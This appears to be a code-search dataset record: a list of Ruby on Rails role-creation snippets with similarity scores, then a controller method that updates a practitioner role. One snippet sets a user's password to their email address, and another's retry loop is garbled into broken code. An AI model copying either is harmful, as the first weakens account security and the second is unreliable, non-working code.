"def create\n @user = User.new(user_params)\n\n if roles = params[:user][:roles]\n roles.map { |r| r.downcase }.each do |role|\n unless role.empty?\n @user.roles << Role.new(type: role)\n\n if role == \"admin\"\n respond_to do |format|\n if @user.save\n format.html { redirect_to (flash[:redirect] || :attendees), notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end\n\n if role == \"staff\"\n redirect_to get_staff_list_path\n end\n\n end\n end\n end\n end",
"def create\n @role = Role.new(role_params) \n @role.permissions = []\n @role.set_permissions(params[:permissions]) if params[:permissions]\n\n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: 'Role was successfully created.' }\n format.json { render :show, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @titan_role = TitanRole.new(titan_role_params)\n\n respond_to do |format|\n if @titan_role.save\n format.html { redirect_to @titan_role, notice: 'Titan role was successfully created.' }\n format.json { render :show, status: :created, location: @titan_role }\n else\n format.html { render :new }\n format.json { render json: @titan_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @role = Role.new(params[:role])\n\n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: 'Role was successfully created.' }\n format.json { render json: @role, status: :created, location: @role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @users_role = UsersRole.new(users_role_params)\n\n respond_to do |format|\n if @users_role.save\n format.html { redirect_to @users_role, notice: 'Users role was successfully created.' }\n format.json { render :show, status: :created, location: @users_role }\n else\n format.html { render :new }\n format.json { render json: @users_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @role_permision = RolePermision.new(params[:role_permision])\n\n respond_to do |format|\n if @role_permision.save\n format.html { redirect_to @role_permision, notice: 'Role permision was successfully created.' }\n format.json { render json: @role_permision, status: :created, location: @role_permision }\n else\n format.html { render action: \"new\" }\n format.json { render json: @role_permision.errors, status: :unprocessable_entity }\n end\n end\n end",
"def assign_roles(contributor:, json: {})\n return contributor unless contributor.present? && json.present? && json[:role].present?\n\n json.fetch(:role, []).each do |url|\n role = Api::V2::DeserializationService.translate_role(role: url)\n contributor.send(:\"#{role}=\", true) if role.present? &&\n contributor.respond_to?(:\"#{role}=\")\n end\n contributor\n end",
"def create\r\n @role = Role.new(role_params)\r\n @role.save\r\n end",
"def create_role(auth, server_id, name, color, hoist, mentionable, permissions, reason = nil)\n MijDiscord::Core::API.request(\n :guilds_sid_roles,\n server_id,\n :post,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/roles\",\n { color: color, name: name, hoist: hoist, mentionable: mentionable, permissions: permissions }.to_json,\n Authorization: auth,\n content_type: :json,\n 'X-Audit-Log-Reason': reason\n )\n end",
"def update_roles\r\n self.roles.create(:title => \"admin\")\r\n if self.name.eql? \"Grandor Eldoran\"\r\n self.roles.create(:title => \"admin\")\r\n elsif self.name.eql? \"Test2 Test2\"\r\n self.roles.create(:title => \"member\")\r\n end\r\n end",
"def create\n @roles_privilege = RolesPrivilege.new(roles_privilege_params)\n\n respond_to do |format|\n if @roles_privilege.save\n format.html { redirect_to @roles_privilege, notice: 'Roles privilege was successfully created.' }\n format.json { render :show, status: :created, location: @roles_privilege }\n else\n format.html { render :new }\n format.json { render json: @roles_privilege.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @role = Role.new(role_params)\n @role.save\n \n if @role.has_pool\n \n @role.default_assignee_id = 1000000 + @role.id \n @person = Person.new\n @person.id = 1000000 + @role.id\n \n if @role.pool_display_name.length() > 0\n @person.first_name = @role.pool_display_name\n else\n @person.first_name = @role.code + \" Pool\"\n end\n @person.last_name = \"\"\n @person.save\n \n @people_role = PeopleRole.new\n @people_role.role_id = @role.id\n @people_role.person_id = 1000000 + @role.id\n @people_role.save\n end\n \n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: 'Role was successfully created.' }\n format.json { render :show, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def seed_roles\n\tdata = ActiveSupport::JSON.decode(File.read('db/seeds/roles.json'))\n\tdata.each do |d|\n\t\tRole.create!(d)\n\tend\nend",
"def create\n @role = Role.new(params[:role])\n @role.save\n respond_with(@role)\n end",
"def create\n @review_items_by_role = ReviewItemsByRole.new(review_items_by_role_params)\n\n respond_to do |format|\n if @review_items_by_role.save\n format.html { redirect_to @review_items_by_role, notice: 'Review items by role was successfully created.' }\n format.json { render :show, status: :created, location: @review_items_by_role }\n else\n format.html { render :new }\n format.json { render json: @review_items_by_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @personnel = User.new\n @personnel.first_name = params[\"first_name\"]\n @personnel.last_name = params[\"last_name\"]\n @personnel.phone_number = params[\"phone_number\"]\n @personnel.title = params[\"title\"]\n @personnel.email = params[\"email\"]\n @personnel.password = params[\"email\"]\n @personnel.admin_name = current_user.fullname\n @personnel.admin_update_time = DateTime.now\n if params[\"is_verified\"].nil?\n @personnel.is_verified = false\n else\n @personnel.is_verified = true\n end\n\n\n respond_to do |format|\n if @personnel.save\n @personnel.user_roles.create(:role_id => params[\"user_role\"][\"user_role_id\"])\n format.html { redirect_to personnel_path(@personnel), notice: 'Personnel was successfully created.' }\n format.json { render :show, status: :created, location: @personnel }\n else\n format.html { render :new }\n format.json { render json: @personnel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def roles\n tmp = client.get @json['user']['links']['roles']\n tmp['associatedRoles']['roles'].pmap do |role_uri|\n role = client.get role_uri\n client.factory.create(GoodData::ProjectRole, role)\n end\n end",
"def create\n @lab_role = LabRole.new(params[:lab_role])\n\n respond_to do |format|\n if @lab_role.save\n format.html { redirect_to @lab_role, notice: 'Lab role was successfully created.' }\n format.json { render json: @lab_role, status: :created, location: @lab_role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lab_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @role = Role.new(params[:role])\n\n respond_to do |format|\n if @role.save\n format.html { redirect_to edit_role_path(@role), :notice => t('hurricane.notice.create_record_success', :type => t_type) }\n format.json { render json: @role, status: :created, location: @role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @company = Company.find(params[:company_id])\n @role = Role.new(params[:role])\n @role.company_id = @company.id\n respond_to do |format|\n if @role.save\n format.html { redirect_to company_role_path(@company, @role), notice: 'El rol fue creado exitosamente.' }\n format.json { render json: @role, status: :created, location: @role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @roles_assignment = RolesAssignment.new(roles_assignment_params)\n\n respond_to do |format|\n if @roles_assignment.save\n format.html { redirect_to @roles_assignment, notice: 'Roles assignment was successfully created.' }\n format.json { render :show, status: :created, location: @roles_assignment }\n else\n format.html { render :new }\n format.json { render json: @roles_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @movie_role = MovieRole.new(movie_role_params)\n\n respond_to do |format|\n if @movie_role.save\n format.html { redirect_to @movie_role, notice: 'Movie role was successfully created.' }\n format.json { render :show, status: :created, location: @movie_role }\n else\n format.html { render :new }\n format.json { render json: @movie_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_role(client:, **data)\n create_object(type: 'Role', root: url_for(client), data: data)\n end",
"def create_roles(roles_model)\n if roles_model.blank?\n raise LoginRadius::Error.new, getValidationMessage('roles_model')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['apiSecret'] = @api_secret\n\n resource_path = 'identity/v2/manage/role'\n post_request(resource_path, query_parameters, roles_model)\n end",
"def create\n @role = Role.new(params[:role])\n\n if @role.save\n redirect_to admin_roles_url\n else\n render :action => \"new\"\n end\n end",
"def create_employee_role(body:)\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/v1/me/roles'\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json',\n 'content-type' => 'application/json; charset=utf-8'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.post(\n _query_url,\n headers: _headers,\n parameters: body.to_json\n )\n OAuth2.apply(config, _request)\n _response = execute_request(_request)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n _errors = APIHelper.map_response(decoded, ['errors'])\n ApiResponse.new(\n _response, data: decoded, errors: _errors\n )\n end",
"def create\n @role = Role.new role_params\n authorize @role\n flash.now[:notice] = 'Role was successfully created.' if @role.save\n respond_with @role\n end",
"def create\n\n @roles_and_permission = @roles.roles_and_permission.new(params[:roles_and_permission])\n \n respond_to do |format|\n if @roles_and_permission.save\n format.html { redirect_to [@roles, @roles_and_permission ], notice: 'Roles and permission was successfully created.' }\n format.json { render json: @roles_and_permission, status: :created, location: @roles_and_permission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @roles_and_permission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_role(role_name, params = {})\n change_role_access(role_name, user_emails_to_ids(params), :post)\n end",
"def add_role\n person\n end",
"def create\n @required_role = RequiredRole.new(required_role_params)\n\n respond_to do |format|\n if @required_role.save\n format.html { redirect_to @required_role, notice: 'Required role was successfully created.' }\n format.json { render :show, status: :created, location: @required_role }\n else\n format.html { render :new }\n format.json { render json: @required_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @role = System::Role.new(system_role_params)\n respond_to do |format|\n if @role.save\n format.html { redirect_to system_roles_url, notice: '添加角色成功.' }\n format.json { render :show, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @roles = Role.paginate :page => params[:page],\n :per_page => 15,\n :order => sort_order('name')\n @role= Role.new(params[:role])\n\n respond_to do |format|\n if @role.save\n format.html { redirect_to(roles_url, :notice => 'New User role successfully added.') }\n format.xml { render :xml => @role, :status => :created, :location => @role }\n else\n format.html { render :action => \"index\" }\n format.xml { render :xml => @role.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n \n if request.get?\n @role = Role.new\n else\n @role = Role.new(params[:role])\n\n # assign parent role\n if not params[:role][:parent].to_s.empty?\n @role.parent = Role.find(params[:role][:parent].to_i)\n end\n\n if @role.save\n # set the roles's static permissions to the static permission from the parameters \n params[:role][:static_permissions] = [] if params[:role][:static_permissions].nil?\n @role.static_permissions = params[:role][:static_permissions].collect { |i| StaticPermission.find(i) }\n\n # the above should be successful if we reach here; otherwise we \n # have an exception and reach the rescue block below\n flash[:success] = 'Role has been created successfully.'\n redirect_to :action => 'show', :id => @role.id\n else\n render :action => 'create'\n end\n end\n \n rescue ActiveRecord::RecordNotFound\n flash[:error] = 'You sent an invalid request.'\n redirect_to :action => 'list'\n end",
"def create\n @role = Role.new(role_params)\n\n respond_to do |format|\n if @role.save\n format.html {\n redirect_to dashboard_path\n flash[:success] = @role.name+' was successfully created.' }\n format.json { render json: @role.to_json }\n else\n format.html { render action: 'new' }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def render_create_success\n render json: @resource, include: [:roles], show_roles: true\n end",
"def create\n @team_user_role = TeamUserRole.new(team_user_role_params)\n\n respond_to do |format|\n if @team_user_role.save\n format.html { redirect_to @team_user_role, notice: 'Team user role was successfully created.' }\n format.json { render :show, status: :created, location: @team_user_role }\n else\n format.html { render :new }\n format.json { render json: @team_user_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_role(person_id)\n Role.new(\n :role_type_id => 20,\n :person_id => person_id,\n :organisation_id => 1,\n :contactinfo_id => 300,\n :role_title => 'Test role for person '+person_id.to_s,\n :general_note => 'Test note for person '+person_id.to_s\n )\n end",
"def new\n \n @roles_and_permission = @roles.roles_and_permission.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @roles_and_permission }\n end\n end",
"def create\n respond_to do |format|\n if @role.save\n format.html { redirect_to user_roles_path(@user), notice: I18n.t('controller.create_success_notice', model: '角色') }\n format.json { render action: 'show', status: :created, location: @role }\n else\n format.html { render action: 'new' }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n return unless check_permission\n\n @role = Role.new(role_params)\n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: 'Role was successfully created.' }\n else\n @users = User.all\n format.html { render :new }\n end\n end\n end",
"def create\n @org_role = OrgRole.new(org_role_params)\n\n respond_to do |format|\n if @org_role.save\n format.html { redirect_to @org_role, notice: 'Org role was successfully created.' }\n format.json { render :show, status: :created, location: @org_role }\n else\n format.html { render :new }\n format.json { render json: @org_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if @user.add_role(@volunteer_type, @competition)\n flash[:notice] = \"#{@competition} #{@volunteer_type} was successfully created.\"\n redirect_to competition_volunteers_path(@competition)\n else\n flash.now[:alert] = \"Error adding role\"\n index\n render :index\n end\n end",
"def create\n @role = Role.new role_params\n flash[:notice] = 'Role was successfully created.' if @role.save\n respond_with @role\n end",
"def create\n @team = @organization.teams.build(team_params)\n\n respond_to do |format|\n if @team.save\n current_user.add_role :admin, @team\n format.html { redirect_to @team, notice: 'Team was successfully created.' }\n format.json { render :show, status: :created, location: @team }\n else\n format.html { render :new }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_role = RoleUser.new(params[:role_user])\n\n respond_to do |format|\n if @admin_role.save\n format.html { redirect_to @role_users_path, notice: 'Role was successfully created.' }\n format.json { render json: @admin_role, status: :created, location: @admin_role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def modify_roles(email, role)\n\t\tresponse = @client.execute(api_method: @service.acl.insert,\n\t\t\t\t\t parameters: {'calendarId' => ENV['NSCS_Calendar_ID']}, body: JSON.dump({role: role, scope: {type: \"user\", \"value\": email}}))\n\tend",
"def create\n @role = Role.new(params[:role])\n\n @perms = params[:permissions[\"permissions\"]]\n if @perms != nil\n @permissions = @perms[\"permissions\"]\n end\n #logger.debug \"PERMISSIONS: #{@permissions.inspect}\"\n if @permissions == nil\n @role.read = 0\n @role.write = 0\n @role.execute = 0\n end\n if @permissions != nil\n if @permissions.include?(\"read\")\n @role.read = 1\n else\n @role.read = 0\n end\n if @permissions.include?(\"write\")\n @role.write = 1\n else\n @role.write = 0\n end\n if @permissions.include?(\"execute\")\n @role.execute = 1\n else\n @role.execute = 0\n end\n end\n \n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: t(:role_created) }\n format.json { render json: @role, status: :created, location: @role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list_review_roles\n\n @review_roles = Role.get_review_roles\n\n end",
"def create_role(name, perms=nil)\n perms ||= []\n role = {\n :name => name,\n :permissions => perms,\n }\n post(\"/roles\", role)\n end",
"def create\n error = ''\n \n if params[:roles]\n params[:roles].each do |role|\n @role = Role.new(role) unless role[:title].blank?\n error << model_errors(@role) unless @role.save\n end\n else\n @role = Role.new(params[:roles])\n error << model_errors(@role) unless @role.save\n end\n \n respond_to do |format|\n format.html do\n if error.blank?\n flash[:notice] = \"#{params[:roles].nil? ? 'Role has' : 'Roles have'} been created.\"\n redirect_back_or_default roles_path\n else\n flash[:error] = 'Oops, something went wrong.'\n @role.nil? ? render(:action => 'edit') : redirect_back_or_default(roles_path)\n end\n end\n \n format.js do\n if error.blank?\n flash.now[:notice] = \"#{params[:roles].nil? ? 'Role has' : 'Roles have'} been created.\"\n get_models\n render :action => 'index', :layout => false\n else\n flash.now[:error] = 'Oops, something went wrong.'\n render :action => 'edit', :layout => false\n end\n end\n end\n end",
"def create\n @app_role = AppRole.new(params[:app_role])\n\n respond_to do |format|\n if @app_role.save\n format.html { redirect_to @app_role, notice: 'App role was successfully created.' }\n format.json { render json: @app_role, status: :created, location: @app_role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @app_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def assign_roles(contributor:, json: {})\n return nil unless contributor.present?\n return contributor unless json.present? && json[:roles].present?\n\n json.fetch(:roles, []).each do |role|\n url = role.starts_with?('http') ? role : Api::V0::ConversionService.to_credit_taxonomy(role: role)\n next if contributor.roles.include?(url)\n\n contributor.roles << url\n end\n contributor\n end",
"def create\n authorize! :manage_users, :all\n @user = User.new(params[:user])\n if @user.role == 'admin' or @user.role == 'teacher'\n @user.validation_scenario = 'admin_or_teacher'\n end\n respond_to do |format|\n if @user.save\n @user.add_role @user.role\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_authorization_roles_with_http_info(body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AuthorizationApi.post_authorization_roles ...\"\n end\n \n \n # verify the required parameter 'body' is set\n fail ArgumentError, \"Missing the required parameter 'body' when calling AuthorizationApi.post_authorization_roles\" if body.nil?\n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/authorization/roles\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DomainOrganizationRole')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuthorizationApi#post_authorization_roles\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n\n @role = Role.create(params[:role])\n\n if @role.errors.empty?\n flash['notice'] = \"Role #{@role.display_name} added\"\n redirect_to :action => 'list'\n else\n flash['notice'] = @role.errors.full_messages.pop\n redirect_to :action => 'add'\n end\n \n end",
"def create\n @role = Role.new(roles_params)\n @roles = Role.all\n #Verificacion de que los campos estén llenos\n if params[:role][:descrip_rol] == \"\"\n @titulo = \"Creacion de rol\"\n @mensaje = \"Debe llenar todos los campos\"\n @tipo = \"warning\"\n @icono = \"icon fa fa-warning\"\n else\n #Verificacion de la repeticion del nombre\n if !RepeticionRolCreate(@roles, params[:role][:descrip_rol])\n @titulo = \"Creacion de rol\"\n @mensaje = \"Ya existe un rol de usuario con ese nombre\"\n @tipo = \"warning\"\n @icono = \"icon fa fa-warning\"\n else\n respond_to do |format|\n if @role.save\n format.js\n format.html {redirect_to @role, notice: \"Rol de usuario creado correctamente\"}\n format.json {render :show, status: :created, location: @role}\n @titulo = \"Creacion de rol\"\n @mensaje = \"Se a creado el rol de usuario correctamente\"\n @tipo = \"success\"\n @icono = \"icon fa fa-check\"\n else\n format.js\n format.html {render :new}\n format.json {render json: @role.errors, status: :unprocessable_entity}\n @titulo = \"Creacion de rol\"\n @mensaje = \"Ha ocurrido un error\"\n @tipo = \"danger\"\n @icono = \"icon fa fa-ban\"\n end\n end\n end\n end\n end",
"def test_set_role\n\n admin_session = cathy_admin_session\n \n pcb_input_gate = Role.find_by_name('PCB Input Gate')\n tracker_admin = Role.find_by_name('Admin')\n \n post(:set_role, { :id => pcb_input_gate.id }, admin_session)\n session_user = User.find(session[:user_id])\n assert_equal(pcb_input_gate.name, session_user.active_role.name)\n assert_redirected_to(:controller => 'tracker')\n\n post(:set_role, { :id => tracker_admin.id }, admin_session)\n session_user.reload\n assert_equal(tracker_admin.name, session_user.active_role.name)\n assert_redirected_to(:controller => 'tracker')\n\n end",
"def index\n authorize Role\n\n respond_to do |format|\n format.json { render json: @roles }\n end\n end",
"def create(\n role,\n deadline: nil\n )\n req = V1::RoleCreateRequest.new()\n\n req.role = Plumbing::convert_role_to_plumbing(role)\n tries = 0\n plumbing_response = nil\n loop do\n begin\n plumbing_response = @stub.create(req, metadata: @parent.get_metadata(\"Roles.Create\", req), deadline: deadline)\n rescue => exception\n if (@parent.shouldRetry(tries, exception))\n tries + [email protected](tries)\n next\n end\n raise Plumbing::convert_error_to_porcelain(exception)\n end\n break\n end\n\n resp = RoleCreateResponse.new()\n resp.meta = Plumbing::convert_create_response_metadata_to_porcelain(plumbing_response.meta)\n resp.rate_limit = Plumbing::convert_rate_limit_metadata_to_porcelain(plumbing_response.rate_limit)\n resp.role = Plumbing::convert_role_to_porcelain(plumbing_response.role)\n resp\n end",
"def create\n @entity_role = EntityRole.new(entity_role_params)\n\n respond_to do |format|\n if @entity_role.save\n format.html { redirect_to @entity_role, notice: 'Entity role was successfully created.' }\n format.json { render :show, status: :created, location: @entity_role }\n else\n format.html { render :new }\n format.json { render json: @entity_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def accept_role role\n self.roles.push role\n end",
"def create_facility_role\n self.facility_roles.create!(user_id: user.id, name: 'climber', email: user.email, confirmed: true )\n end",
"def create_role(token, server_id)\n request(\n __method__,\n :post,\n \"#{api_base}/guilds/#{server_id}/roles\",\n nil,\n Authorization: token\n )\n end",
"def create\n submenu_item 'role_new'\n load_permissions\n ids=params[:permissions].select{|k,v| v=='1'}.map { |k,v| k.to_i } unless params[:permissions].nil?\n if ids.length > 0\n permissions=Permission.find(:all, :conditions => [\"id in (#{ids.join(',')})\"])\n params[:role][:permissions] = permissions\n @role = Role.new(params[:role])\n if @role.save\n flash[:notice] = \"创建角色成功\"\n redirect_to :action => 'index'\n else\n flash[:error] = \"创建角色失败\"\n render :action => 'new'\n end\n else\n flash[:error] = \"角色名或权限不能为空\"\n redirect_to :action => 'new'\n end\n\n end",
"def create\n @project_role = ProjectRole.new(params[:project_role])\n\n respond_to do |format|\n if @project_role.save\n format.html { redirect_to @project_role, notice: 'Project role was successfully created.' }\n format.json { render json: @project_role, status: :created, location: @project_role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_role = UserRole.new(params[:user_role])\n\n respond_to do |format|\n if @user_role.save\n flash[:notice] = 'UserRole was successfully created.'\n format.html { redirect_to([:admin, @user_role]) }\n else\n format.html { render :action => \"new\" }\n end\n end\n end",
"def create\n @project_role = ProjectRole.new(project_role_params)\n\n respond_to do |format|\n if @project_role.save\n format.html { redirect_to @project_role, notice: 'Project role was successfully created.' }\n format.json { render :show, status: :created, location: @project_role }\n else\n format.html { render :new }\n format.json { render json: @project_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tech_role = TechRole.new(tech_role_params)\n\n respond_to do |format|\n if @tech_role.save\n format.html { redirect_to @tech_role, notice: 'Tech role was successfully created.' }\n format.json { render :show, status: :created, location: @tech_role }\n else\n format.html { render :new }\n format.json { render json: @tech_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cms_role = Cms::Role.new(cms_role_params)\n\n respond_to do |format|\n if @cms_role.save\n format.html { redirect_to @cms_role, notice: 'Role was successfully created.' }\n format.json { render :show, status: :created, location: @cms_role }\n else\n format.html { render :new }\n format.json { render json: @cms_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def user_roles=(value)\n roles[:user_roles]=value\n end",
"def create_role(role_name, data = {})\n raise Auth0::MissingParameter, 'Must supply a valid role_name' if role_name.to_s.empty?\n\n data[:name] = role_name\n post roles_path.to_s, data\n end",
"def add_role\n\n\t\t@roles = Role.new(role_params)\n\t\tif @roles.save\n\t\t\tredirect_to '/details'\n\t\telse\n\t\t\trender 'index'\n\t\tend\n\n\tend",
"def create_user_role\n if self.role.blank?\n id = Role.select{|role| role.role_type == $roles[:user]}.map(&:id)\n self.update_attributes(:role_id => id[0])\n end\n end",
"def addRole\n id = params[:id] # retrieve project ID from URI route\n proj = Project.find(id)\n if proj.add_role(params[:rolename])\n head :no_content\n else\n render_error(:unprocessable_entity, \"Failed to add a role\")\n end\n end",
"def create\n @workers_role = WorkersRole.new(workers_role_params)\n\n respond_to do |format|\n if @workers_role.save\n format.html { redirect_to @workers_role, notice: 'Workers role was successfully created.' }\n format.json { render :show, status: :created, location: @workers_role }\n else\n format.html { render :new }\n format.json { render json: @workers_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @practitioner_role.update(practitioner_role_params)\n format.html { redirect_to @practitioner_role, notice: 'Practitioner role was successfully updated.' }\n format.json { render :show, status: :ok, location: @practitioner_role }\n else\n format.html { render :edit }\n format.json { render json: @practitioner_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lab_permissions_role = LabPermissionsRole.new(params[:lab_permissions_role])\n\n respond_to do |format|\n if @lab_permissions_role.save\n format.html { redirect_to @lab_permissions_role, notice: 'Lab permissions role was successfully created.' }\n format.json { render json: @lab_permissions_role, status: :created, location: @lab_permissions_role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lab_permissions_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def roles!(access = {})\n json = Api::Request.new do |request|\n request[:access] = access\n request[:method] = :GET\n request[:path] = '/mgmt/{{client_id}}/roles'\n end.execute!\n\n json[:roles]\n end"
] | [
"0.70966846",
"0.68966454",
"0.67919576",
"0.66241574",
"0.66051143",
"0.65650886",
"0.653956",
"0.64436543",
"0.6442777",
"0.6413613",
"0.63957596",
"0.635207",
"0.63496995",
"0.6345488",
"0.63403267",
"0.6282266",
"0.6282266",
"0.6282266",
"0.62611324",
"0.62566733",
"0.6252347",
"0.6236681",
"0.6231733",
"0.62285405",
"0.6220152",
"0.6218521",
"0.62108886",
"0.6167492",
"0.6162041",
"0.6160713",
"0.61593527",
"0.6147187",
"0.6140158",
"0.61373943",
"0.61369",
"0.61326516",
"0.6131527",
"0.6113548",
"0.61118793",
"0.60827494",
"0.60794425",
"0.60761094",
"0.60674155",
"0.6066379",
"0.60616547",
"0.60539484",
"0.60480416",
"0.60446316",
"0.6040976",
"0.6028137",
"0.6028044",
"0.6021715",
"0.5991566",
"0.5991418",
"0.59899455",
"0.5987112",
"0.5984652",
"0.59842575",
"0.5979752",
"0.59690183",
"0.59599954",
"0.59576976",
"0.595494",
"0.5953376",
"0.59518754",
"0.59490263",
"0.5932687",
"0.59280133",
"0.5927933",
"0.5924346",
"0.5920287",
"0.5914762",
"0.59141576",
"0.5897506",
"0.58694905",
"0.5866834",
"0.58618355",
"0.5857901",
"0.5847498",
"0.58397377",
"0.5836511",
"0.5834298",
"0.58314764",
"0.5829677",
"0.5828184",
"0.58261544",
"0.5824933",
"0.5822622",
"0.58049697",
"0.5797174",
"0.57801",
"0.5778321",
"0.5777856",
"0.57760006",
"0.5774809",
"0.577367",
"0.57731915",
"0.57629335",
"0.57620186",
"0.57587045"
] | 0.7032563 | 1 |
PATCH/PUT /practitioner_roles/1 PATCH/PUT /practitioner_roles/1.json | def update
respond_to do |format|
if @practitioner_role.update(practitioner_role_params)
format.html { redirect_to @practitioner_role, notice: 'Practitioner role was successfully updated.' }
format.json { render :show, status: :ok, location: @practitioner_role }
else
format.html { render :edit }
format.json { render json: @practitioner_role.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def UpdateRole params = {}\n \n APICall(path: 'custom_roles.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update\n respond_to do |format|\n if @team_role.update(team_role_params)\n format.html { redirect_to lab_team_roles_path(@lab), notice: 'Team role was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @team_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @assessment_practice_test = AssessmentPracticeTest.find(params[:id])\n if current_user.role.id == 7\n params[:assessment_practice_test][:status] = 6\n end\n respond_to do |format|\n if@assessment_practice_test.update_attributes(params[:assessment_practice_test])\n format.html { redirect_to@assessment_practice_test, notice: 'AssessmentPracticeTest was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json:@assessment_practice_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @role = @client.roles.find(params[:id])\n\n respond_to do |format|\n if @role.update_attributes(params[:role])\n flash[:notice] = 'Role was successfully updated.'\n format.html { redirect_to client_role_url(@client, @role) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @role.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if !grant_access(\"alter_roles\", current_user)\n head(403)\n end\n @role.user_id = current_user.id\n @role.start_point = false if !params[:role][:start_point]\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
